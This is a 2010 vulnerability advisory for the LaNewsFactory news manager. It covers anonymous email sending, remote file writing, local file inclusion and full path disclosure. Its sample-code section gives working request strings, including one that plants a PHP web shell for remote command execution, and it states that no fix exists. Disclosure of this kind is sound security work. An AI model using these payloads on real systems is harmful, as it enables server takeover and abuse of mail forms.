LaNewsFactory 1.0.0 Anonymous Email / Command Execution

`  
  
LaNewsFactory Multiple Remote Vulnerabilities  
http://www.salvatorefresta.net/files/adv/LaNewsFactory%20Multiple%20Remote%20Vulnerabilities-19042010.txt  
  
Name LaNewsFactory  
Vendor Christophe Brocas  
Versions Affected <= 1.0.0  
  
Author Salvatore Fresta aka Drosophila  
Website http://www.salvatorefresta.net  
Contact salvatorefresta [at] gmail [dot] com  
Date 2010-04-19  
  
X. INDEX  
  
I. ABOUT THE APPLICATION  
II. DESCRIPTION  
III. ANALYSIS  
IV. SAMPLE CODE  
V. FIX  
VI. DISCLOSURE TIMELINE  
  
  
I. ABOUT THE APPLICATION  
  
This is a very used news manager that not require a  
database.  
  
  
II. DESCRIPTION  
  
This news managment is affected by many vulnerabilities  
that allows a guest to write arbitrary files on the  
system, include local files, read local files etc..  
  
  
III. ANALYSIS  
  
Summary:  
  
A) Anonymous email  
B) Remote File Writing  
C) Multiple Local File Inclusion  
D) Full Path Disclosure  
  
A) Anonymous email  
  
The mailto.php file allows a guest to send arbitrary emails.  
The input is not properly sanitised:  
  
if (ValidEmailAdress($youremail) and ValidEmailAdress($friendemail))  
{  
mail ($friendemail, $display[$lang]["mailtoafriend"],"$comments\n\n".$url."print".$LNF_file_extension."?art=$newsfilename\n\n$yourname", "From: $youremail");  
  
  
B) Remote File Writing  
  
The save-edited-news.php file allows a guest to write a  
file on the system. This vulnerability may be used to  
execute remote commands on the system.  
  
  
C) Multiple Local File Inclusion  
  
There are many files that use a not sanitised input with  
include PHP function. This vulnerability may be used to  
execute remote commands by including the Apache Log file.  
  
  
D) Full Path Disclosure  
  
For example, print.php file prints many errors by  
including the full path of the file. This path may be  
very useful for local file inclusion and other.  
  
  
  
IV. SAMPLE CODE  
  
A) Anonymous email  
  
[email protected]&[email protected]&comments=suck!  
  
  
B) Remote File Writing to Remote Command Execution  
  
save-edited-news.php?art=news/file.php&corps=<?php system($_GET[cmd]); ?>  
  
  
D) Full Path Disclosure  
  
print.php?art=-1.xml  
  
  
V. FIX  
  
No fix.  
  
  
VIII. DISCLOSURE TIMELINE  
  
2010-04-19 Bugs discovered  
2010-04-19 Advisory released  
  
  
`